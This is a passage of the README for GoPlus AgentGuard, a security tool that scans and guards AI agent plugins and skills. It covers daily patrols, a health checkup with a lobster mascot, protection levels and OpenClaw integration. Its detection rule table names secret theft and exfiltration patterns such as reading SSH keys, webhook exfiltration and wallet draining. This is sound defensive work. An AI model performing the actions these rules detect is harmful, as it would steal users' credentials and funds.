| 8 | Trust Registry Health | Flags expired attestations, stale trusted skills (30+ days), installed-but-untrusted skills, over-privileged entries |
# Run all 8 checks now
/agentguard patrol run
# Set up as a daily scheduled job (03:00 UTC through OpenClaw;
# 03:00 machine-local time through Windows Task Scheduler or system crontab)
/agentguard patrol setup
# Check last patrol results and cron schedule
/agentguard patrol status
Each patrol produces a report with an overall status:
| Status | Meaning |
|---|---|
| PASS | Only low/medium findings |
| WARN | HIGH severity findings detected |
| FAIL | CRITICAL severity findings detected |
Reports include per-check status, finding counts, detailed findings for checks with issues, and actionable recommendations. Results are also logged to ~/.agentguard/audit.jsonl.
patrol setup configures OpenClaw cron, a current-user Windows Task Scheduler task, or user crontab according to the detected host:
Windows Task Scheduler and user crontab invoke the existing
agentguard checkup --json command so scheduled patrols execute all eight
checks. SessionStart continues to use the lightweight auto-scan.js path.
0 3 * * * (daily at 03:00)Note: Windows patrol tasks intentionally run only while the creating user is logged on and do not store a password or use SYSTEM privileges.
Give your agent a full physical exam! The checkup evaluates your agent's security posture across 6 dimensions and generates a beautiful visual HTML report — complete with a lobster mascot whose appearance reflects your agent's health.
/agentguard checkup
| Dimension | What's Evaluated |
|---|---|
| Code Safety | Scan findings across all installed skills plus direct DSH profile plugins (transitive dependencies excluded) |
| Trust Hygiene | Trust registry health — expired, stale, unregistered, over-privileged entries |
| Runtime Defense | Audit log analysis — threats blocked, attack patterns, deny/confirm ratios |
| Secret Protection | Credential exposure — file permissions, env vars, hardcoded secrets |
| Web3 Shield | Web3-specific risks — wallet draining, unlimited approvals, GoPlus API status |
| Config Posture | Protection level, guard hooks, auto-scan, patrol history |
Your agent's health is visualized by a lobster mascot:
| Score | Tier | Lobster | Message |
|---|---|---|---|
| 90–100 | S | 💪 Muscular bodybuilder with crown & sunglasses | "Your agent is JACKED!" |
| 70–89 | A | 🛡️ Healthy lobster with shield | "Looking solid!" |
| 50–69 | B | ☕ Tired lobster with coffee, sweating | "Needs a workout..." |
| 0–49 | F | 🚨 Sick lobster with bandages & thermometer | "CRITICAL CONDITION!" |
The report is a self-contained HTML file that opens automatically in your browser. Dark theme, animated score gauge, expandable findings, and actionable recommendations.
| Level | Behavior |
|---|---|
strict | Block all risky actions. Every dangerous or suspicious command is denied. |
balanced | Block dangerous, confirm risky. Good for daily use. (default) |
permissive | Only block critical threats. For experienced users who want minimal friction. |
| Category | Rules | Severity |
|---|---|---|
| Execution | SHELL_EXEC, DYNAMIC_MODULE_LOADING, AUTO_UPDATE, REMOTE_LOADER | HIGH-CRITICAL |
| Secrets | READ_ENV_SECRETS, READ_SSH_KEYS, READ_KEYCHAIN, PRIVATE_KEY_PATTERN, MNEMONIC_PATTERN | MEDIUM-CRITICAL |
| Exfiltration | NET_EXFIL_UNRESTRICTED, WEBHOOK_EXFIL | HIGH-CRITICAL |
| Dynamic execution and obfuscation | DYNAMIC_CODE_EXECUTION, OBFUSCATION, PROMPT_INJECTION | HIGH-CRITICAL |
| Web3 | WALLET_DRAINING, UNLIMITED_APPROVAL, DANGEROUS_SELFDESTRUCT, HIDDEN_TRANSFER, PROXY_UPGRADE, FLASH_LOAN_RISK, REENTRANCY_PATTERN, SIGNATURE_REPLAY | MEDIUM-CRITICAL |
| Trojan & Social Engineering | TROJAN_DISTRIBUTION, SUSPICIOUS_PASTE_URL, SUSPICIOUS_IP, SOCIAL_ENGINEERING | MEDIUM-CRITICAL |
Scan the included vulnerable demo project:
/agentguard scan examples/vulnerable-skill
Expected output: CRITICAL risk level with detection hits across JavaScript, Solidity, and Markdown files.
GoPlus AgentGuard follows the Agent Skills open standard:
| Platform | Support | Features |
|---|---|---|
| Claude Code | Full | Skill + hooks auto-guard, transcript-based skill tracking |
| OpenClaw | Full | Plugin hooks + auto-scan on load + tool→plugin mapping + daily patrol |
| Hermes Agent | Plugin + Hooks | Native plugin for pre_tool_call / post_tool_call (enabled by agentguard init --agent hermes), or legacy shell hooks |
| OpenAI Codex CLI | Skill | Scan/action/trust commands |
| Gemini CLI | Skill | Scan/action/trust commands |
| Cursor | Skill | Scan/action/trust commands |
| GitHub Copilot | Skill | Scan/action/trust commands |
Hooks-based auto-guard (Layer 1) works on Claude Code (PreToolUse/PostToolUse), OpenClaw (before_tool_call/after_tool_call), and Hermes Agent (pre_tool_call/post_tool_call shell hooks). These platforms share the same decision engine via a unified adapter abstraction layer.
OpenClaw exclusive: Auto-scans all loaded plugins at registration time, automatically registers them to the trust registry, and supports automated daily security patrols via cron.
The auto-guard hooks (Layer 1) have the following constraints:
PreToolUse / PostToolUse events, OpenClaw's before_tool_call / after_tool_call plugin hooks, or Hermes Agent's pre_tool_call / post_tool_call shell hooks. All share the same decision engine via the adapter abstraction layer.ls, echo, pwd, git status, etc.) reduces false positives..claude-plugin/) for one-step installpatrol run — 8-check security posture assessmentpatrol setup — OpenClaw cron job configuration with timezone and notificationspatrol status — Last results and schedule overviewcheckup — 6-dimension security health assessmentbefore_tool_call / after_tool_call hook wiringAgentGuard provides deep integration with OpenClaw through automatic plugin scanning, trust management, and daily security patrols.
When AgentGuard registers as an OpenClaw plugin:
┌─────────────────────────────────────────────────────────────────┐
│ OpenClaw loads AgentGuard plugin │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ AgentGuard scans all loaded plugins (async, non-blocking) │
│ • Reads plugin source from registry │
│ • Runs 24 static analysis rules │
│ • Calculates artifact hash │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ For each plugin: │
│ • Determine trust level (untrusted/restricted/trusted) │
│ • Infer capabilities from tools + scan results │
│ • Register to AgentGuard trust registry │
│ • Map tool names → plugin ID │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ On every tool call: │
│ • Look up plugin from tool name │
│ • Check plugin trust level & capabilities │
│ • Evaluate action against security policies │
│ • Allow / Deny / Log │
└─────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────┐
│ Daily patrol (via cron): │
│ • Run 8 security checks against the environment │
│ • Verify skill integrity, detect secrets, audit logs │
│ • Generate report (PASS / WARN / FAIL) │
│ • Send notifications (Telegram / Discord / Signal) │
└─────────────────────────────────────────────────────────────────┘
import {
registerOpenClawPlugin,
getPluginIdFromTool,
getPluginScanResult,
} from '@goplus/agentguard';
// Get which plugin registered a tool
const pluginId = getPluginIdFromTool('browser');
// → 'my-browser-plugin'
// Get cached scan result
const scanResult = getPluginScanResult('my-browser-plugin');
// → { riskLevel: 'low', riskTags: [] }
Contributions welcome! See CONTRIBUTING.md for guidelines.
Found a security vulnerability? See SECURITY.md.
Built by GoPlus Security.
65 followers · starred Apr 2026
138 followers · starred Jun 2026
123 followers · starred Feb 2026
102 followers · starred Feb 2026